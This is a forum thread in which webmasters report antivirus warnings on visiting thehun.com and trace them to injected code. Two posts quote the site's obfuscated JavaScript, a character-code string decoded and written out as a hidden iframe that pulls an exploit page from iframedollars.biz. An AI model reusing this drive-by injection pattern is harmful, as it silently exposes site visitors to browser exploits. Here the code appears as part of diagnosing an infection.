TheHun loading a trojan? huh?

Collapse
X
 
  • Time
  • Show
Clear All
new posts
  • dropped9
    Registered User
    • Jan 2001
    • 26727

    #1

    TheHun loading a trojan? huh?

    When I goto the hun my mcafee pops up with Exploit-Mhtredir.gen and Exploit-ByteVerify

    Wtf is this?

    http://thehun.com/
  • Pete-KT
    Workin With The Devil
    • Oct 2004
    • 51532

    #2
    I was just there and I didnt get anything are you sure its not already on your computer from something else.


    pete

    Comment

    • brand0n
      been very busy
      • Nov 2002
      • 26983

      #3
      nothing here.
      want to buy this spot for cheap? it is of course for sale. long term deals are always the best bet. brand0n/ at/ a o l dot commies.

      Comment

      • Headless
        Registered User
        • Jan 2001
        • 26727

        #4
        Originally posted by Pete-KT
        I was just there and I didnt get anything are you sure its not already on your computer from something else.


        pete

        Highly doubt it considering I havent gotten it before, and havent installed anything new or anything recently.

        Comment

        • Corleone
          C.R.E.A.M
          • Apr 2003
          • 15262

          #5
          maybe you're infected with spyware..

          everythings fine for me

          Comment

          • AdultNex
            Confirmed User
            • Feb 2003
            • 8985

            #6
            Why are people so naive to post such things?

            Yeah, TheHun decided to piss off his surfers... So he put a dialer and exit popup-hell on the page.

            Comment

            • plyndrty
              Confirmed User
              • Jul 2003
              • 1477

              #7
              I am getting it to. Checked my computer and eveything seems to be ok.
              Free Porno You Porn Fuck

              Comment

              • TheFrog
                Confirmed User
                • Jan 2004
                • 4095

                #8
                seems like his server must have been hacked or something

                Comment

                • Headless
                  Registered User
                  • Jan 2001
                  • 26727

                  #9
                  Originally posted by AdultNex
                  Why are people so naive to post such things?

                  Yeah, TheHun decided to piss off his surfers... So he put a dialer and exit popup-hell on the page.
                  Are you running mcafee? I highly doubt it.

                  Comment

                  • sandman!
                    Icq: 14420613
                    • Mar 2001
                    • 15427

                    #10
                    i get the iframe also loading an exploit.
                    Need WebHosting ? Email me for some great deals [email protected]

                    Comment

                    • brand0n
                      been very busy
                      • Nov 2002
                      • 26983

                      #11
                      Originally posted by AdultNex
                      Why are people so naive to post such things?

                      Yeah, TheHun decided to piss off his surfers... So he put a dialer and exit popup-hell on the page.
                      maybe cuz he wanted an a fast response?

                      who are you btw? do you work for vitamax? ive just noticed how much of a ramrod you are recently.
                      want to buy this spot for cheap? it is of course for sale. long term deals are always the best bet. brand0n/ at/ a o l dot commies.

                      Comment

                      • Dirty F
                        Too lazy to set a custom title
                        • Jul 2001
                        • 59204

                        #12
                        Headless, i know youre a half ass webmaster but even half ass webmasters should know how spyware works.

                        Comment

                        • Holly
                          Too lazy to set a custom title
                          • Jun 2003
                          • 10017

                          #13
                          Yep. My Norton caught it, too.

                          MHTMLredir.exploit

                          I also saw the url iframedollars.biz (or something) at the bottom.
                          War National Damn Champions Eagle

                          Comment

                          • Quickdraw
                            Confirmed User
                            • Mar 2004
                            • 1717

                            #14
                            I get it too

                            Comment

                            • Jon2
                              So Fucking Banned
                              • Aug 2001
                              • 2875

                              #15
                              none, the hun gets revenue from pre-paid gallery placements on the top 15 spaces and banners. the rest of the galleries are free placements.

                              Comment

                              • polish_aristocrat
                                Too lazy to set a custom title
                                • Jul 2002
                                • 40377

                                #16
                                i also get this with my norton
                                I don't use ICQ anymore.

                                Comment

                                • Headless
                                  Registered User
                                  • Jan 2001
                                  • 26727

                                  #17
                                  Originally posted by Battuss
                                  Headless, i know youre a half ass webmaster but even half ass webmasters should know how spyware works.

                                  This coming from someone who can't even book a flight correctly. Please stfu.

                                  Comment

                                  • AlienQ - BANNED FOR LIFE
                                    best designer on GFY
                                    • Mar 2003
                                    • 30307

                                    #18
                                    Fascinating.

                                    Comment

                                    • Headless
                                      Registered User
                                      • Jan 2001
                                      • 26727

                                      #19
                                      I guess you idiots with stupid comments never heard of "hijackthis".

                                      Comment

                                      • TheSenator
                                        Too lazy to set a custom title
                                        • Feb 2003
                                        • 13330

                                        #20
                                        shit... I got too....

                                        Is the infection bad?
                                        ISeekGirls.com since 2005

                                        Comment

                                        • Holly
                                          Too lazy to set a custom title
                                          • Jun 2003
                                          • 10017

                                          #21
                                          I just looked and the name of the file that Norton fixed/quarantined was:

                                          adv478.php

                                          It was in my temp internet files and said the same thing about being the MHTMLredir.exploit
                                          War National Damn Champions Eagle

                                          Comment

                                          • Hooterdog
                                            Confirmed User
                                            • Mar 2002
                                            • 602

                                            #22
                                            i get it too

                                            Comment

                                            • reynold
                                              Too lazy to set a custom title
                                              • Oct 2002
                                              • 51271

                                              #23
                                              Originally posted by Holly
                                              Yep. My Norton caught it, too.

                                              MHTMLredir.exploit

                                              I also saw the url iframedollars.biz (or something) at the bottom.
                                              yeah me too

                                              Comment

                                              • AdultNex
                                                Confirmed User
                                                • Feb 2003
                                                • 8985

                                                #24
                                                Originally posted by Headless
                                                I guess you idiots with stupid comments never heard of "hijackthis".
                                                I take back my previous comment, I don't use that newbie Norton/McAfee shit (Go with AVG or NOD32). So when I visited, it went by undetected.

                                                This Russian guy is good though, he's responsible for 3 other hijack exploits.

                                                Comment

                                                • Headless
                                                  Registered User
                                                  • Jan 2001
                                                  • 26727

                                                  #25
                                                  Originally posted by AdultNex
                                                  I take back my previous comment, I don't use that newbie Norton/McAfee shit (Go with AVG or NOD32). So when I visited, it went by undetected.

                                                  This Russian guy is good though, he's responsible for 3 other hijack exploits.
                                                  Hmmmm funny how the "newbie Norton/McAfee shit" caught it first.

                                                  hahahaha keep on keeping on... thats why we @ gfy love you guys..

                                                  Comment

                                                  • Drake
                                                    Hello world!
                                                    • Mar 2003
                                                    • 12508

                                                    #26
                                                    I got it too. It only happened the first time I visited today. I didn't save the message but norton popped up with it's warning.

                                                    Comment

                                                    • AdultNex
                                                      Confirmed User
                                                      • Feb 2003
                                                      • 8985

                                                      #27
                                                      Originally posted by Headless
                                                      Hmmmm funny how the "newbie Norton/McAfee shit" caught it first.

                                                      hahahaha keep on keeping on... thats why we @ gfy love you guys..
                                                      Bah, I meant to say it didn't popup a warning, but it still cleaned the file.

                                                      The settings I have my NOD32 are on "high risk", meaning it warns me only about high-risk viruses/trojans... Not some half-assed hijacker that any idiot can remove.

                                                      Comment

                                                      • davethetruth
                                                        Confirmed User
                                                        • Jan 2004
                                                        • 2806

                                                        #28
                                                        I got the Trojan and MHTMLRedir.Exploit too with my Norton.
                                                        Rainbow Revenue- The BEST Gay Conversions

                                                        New Sex Toy Affiliate Program! Get $10.00 Just For Joining!

                                                        Choose from two Sex Toy Stores to promote:

                                                        BedroomSports- Since 1998 - Now New & Improved!
                                                        VibratorWarehouse- New Site with Excellent Conversions!

                                                        Comment

                                                        • juicylinks
                                                          So Fucking Banned
                                                          • Apr 2001
                                                          • 122992

                                                          #29
                                                          Originally posted by davethetruth
                                                          I got the Trojan and MHTMLRedir.Exploit too with my Norton.

                                                          I got it also

                                                          Comment

                                                          • Holly
                                                            Too lazy to set a custom title
                                                            • Jun 2003
                                                            • 10017

                                                            #30
                                                            Originally posted by AdultNex
                                                            Bah, I meant to say it didn't popup a warning, but it still cleaned the file.

                                                            The settings I have my NOD32 are on "high risk", meaning it warns me only about high-risk viruses/trojans... Not some half-assed hijacker that any idiot can remove.
                                                            Hate to burst your bubble, but I can set my Norton not to alert me, as well. I suppose I could also buy some special, elite smoke detectors for my house that only send out silent alarms when it's on fire, but I'd rather know when there's a problem. I'm crazy like that.
                                                            War National Damn Champions Eagle

                                                            Comment

                                                            • Crypt
                                                              Confirmed User
                                                              • Apr 2004
                                                              • 2225

                                                              #31
                                                              hummmmmmm ...
                                                              adv478 Stats

                                                              Hackers do bank those days

                                                              Comment

                                                              • More Booze
                                                                Confirmed User
                                                                • Mar 2004
                                                                • 5116

                                                                #32
                                                                Originally posted by Crypt
                                                                hummmmmmm ...
                                                                adv478 Stats

                                                                Hackers do bank those days
                                                                Nice, where do I signup? :P

                                                                Comment

                                                                • Platinumpimp
                                                                  Logos and such.
                                                                  • Jan 2004
                                                                  • 10214

                                                                  #33
                                                                  I got it too
                                                                  I design logo's.

                                                                  Comment

                                                                  • AlienQ - BANNED FOR LIFE
                                                                    best designer on GFY
                                                                    • Mar 2003
                                                                    • 30307

                                                                    #34
                                                                    Originally posted by Crypt
                                                                    hummmmmmm ...
                                                                    adv478 Stats

                                                                    Hackers do bank those days
                                                                    Page is down now.

                                                                    Comment

                                                                    • Crypt
                                                                      Confirmed User
                                                                      • Apr 2004
                                                                      • 2225

                                                                      #35
                                                                      Originally posted by AlienQ
                                                                      Page is down now.
                                                                      Russians are fast.. lol

                                                                      it was something like 1200$ for yesterday

                                                                      Comment

                                                                      • NaughtyRob
                                                                        Two fresh affiliate progs
                                                                        • Nov 2004
                                                                        • 29602

                                                                        #36
                                                                        Got it from them a few days ago.
                                                                        [email protected]
                                                                        Skype: 17026955414
                                                                        Vacares Web Hosting - Protect Your Ass with Included Daily Backups

                                                                        Comment

                                                                        • SpeakEasy
                                                                          Confirmed User
                                                                          • Sep 2002
                                                                          • 2681

                                                                          #37
                                                                          I just checked myself and My Norons also just picked it up and auto deleted it, but Headless is correct.
                                                                          Check Your Internet Speed;
                                                                          http://www.speakeasy.net/speedtest/

                                                                          Comment

                                                                          • TheMob
                                                                            Confirmed User
                                                                            • Jan 2003
                                                                            • 8584

                                                                            #38
                                                                            Originally posted by TheFrog
                                                                            seems like his server must have been hacked or something
                                                                            must happen all the time

                                                                            Comment

                                                                            • TheMob
                                                                              Confirmed User
                                                                              • Jan 2003
                                                                              • 8584

                                                                              #39
                                                                              Originally posted by Crypt
                                                                              hummmmmmm ...
                                                                              adv478 Stats

                                                                              Hackers do bank those days
                                                                              I can't get to it? what is it?

                                                                              Comment

                                                                              • Mike D
                                                                                Confirmed User
                                                                                • Jan 2002
                                                                                • 1133

                                                                                #40
                                                                                Yep...Did the same thing to me



                                                                                Mike...........
                                                                                Mike D

                                                                                Comment

                                                                                • emthree
                                                                                  Dialer Kingpin
                                                                                  • Jun 2003
                                                                                  • 10816

                                                                                  #41
                                                                                  http://www.microsoft.com/technet/sec.../ms04-013.mspx

                                                                                  Sell Patches & Pills

                                                                                  Comment

                                                                                  • Fatalspeed
                                                                                    Confirmed User
                                                                                    • Sep 2002
                                                                                    • 2101

                                                                                    #42
                                                                                    I am not getting anything here... hmm
                                                                                    Faber est quisque fortunae suae

                                                                                    Comment

                                                                                    • emthree
                                                                                      Dialer Kingpin
                                                                                      • Jun 2003
                                                                                      • 10816

                                                                                      #43
                                                                                      Originally posted by TheMob
                                                                                      I can't get to it? what is it?
                                                                                      Remote Stats.

                                                                                      Sell Patches & Pills

                                                                                      Comment

                                                                                      • More Booze
                                                                                        Confirmed User
                                                                                        • Mar 2004
                                                                                        • 5116

                                                                                        #44
                                                                                        Originally posted by TheMob
                                                                                        I can't get to it? what is it?

                                                                                        Comment

                                                                                        • jerry_31
                                                                                          Registered User
                                                                                          • Oct 2003
                                                                                          • 29

                                                                                          #45
                                                                                          Originally posted by Corleone
                                                                                          maybe you're infected with spyware..

                                                                                          everythings fine for me

                                                                                          the iframe is called from his own java script.
                                                                                          var temp="",i,c=0,out="";var str="60!73!70!82!65!77!69!32!83!82!67!61!34!104!11 6!116!112!58!47!47!105!102!114!97!109!101!100!111! 108!108!97!114!115!46!98!105!122!47!115!49!54!52!4 6!104!116!109!108!34!32!87!73!68!84!72!61!48!32!66 !79!82!68!69!82!61!48!32!72!69!73!71!72!84!61!48!3 2!115!116!121!108!101!61!34!100!105!115!112!108!97 !121!58!110!111!110!101!34!62!60!47!73!70!82!65!77 !69!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c ++);c++;out=out+String.fromCharCode(temp);temp=""; }document.write(out);

                                                                                          Either he likes the extra money or his site has been hacked.
                                                                                          The script builds the string for the iframe.

                                                                                          Comment

                                                                                          • groark
                                                                                            So Fucking Banned
                                                                                            • Nov 2003
                                                                                            • 1966

                                                                                            #46
                                                                                            This is bad. I hope it will be fixed soon

                                                                                            Comment

                                                                                            • SmokeyTheBear
                                                                                              ►SouthOfHeaven
                                                                                              • Jun 2004
                                                                                              • 28609

                                                                                              #47
                                                                                              The hun has its own forum , i have let them know , they dont seem to care..
                                                                                              hatisblack at yahoo.com

                                                                                              Comment

                                                                                              • Veterans Day
                                                                                                Confirmed User
                                                                                                • Jul 2003
                                                                                                • 8403

                                                                                                #48
                                                                                                those trojans are loaded on damn near every shady tgp online. Nothin new and exotic by any means
                                                                                                Build a Massive Traffic Network, Hands FREE, Totally Automated

                                                                                                Comment

                                                                                                • jerry_31
                                                                                                  Registered User
                                                                                                  • Oct 2003
                                                                                                  • 29

                                                                                                  #49
                                                                                                  its just the asci code
                                                                                                  60 = <
                                                                                                  73 = i
                                                                                                  70 = f
                                                                                                  82 = r and so on.
                                                                                                  document.write puts out <iframe......iframedollars.biz> . Then iframedollars starts the fucking exploit.

                                                                                                  Comment

                                                                                                  • fünkmaster
                                                                                                    So Fucking Banned
                                                                                                    • Nov 2004
                                                                                                    • 791

                                                                                                    #50
                                                                                                    ... the code on thehun.com is encrypted, stop blaming russian hackers, the owner of the site is doing it himself.

                                                                                                    var temp="",i,c=0,out="";var str="60!73!70!82!65!77!69!32!83!82!67!61!34!104!11 6!116 !112!58!47!47!105!102!114!97!109!101!100!111!108!1 08!97!114!115!46!98!105!122!47!115!49!54!52!46!104 !116!109!108!34!32!87!73!68!84!72!61!48!32!66!79!8 2!68!69!82!61!48!32!72!69!73!71!72!84!61!48!32!115 !116!121!108!101!61!34!100!105!115!112!108!97!121! 58!110!111!110!101!34!62!60!47!73!70!82!65!77!69!6 2!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c ++);c++;out=out+String.fromCharCode(temp);temp=""; }document.write(out);

                                                                                                    ... muchahahha, caught with your pants down.

                                                                                                    Comment

                                                                                                    Working...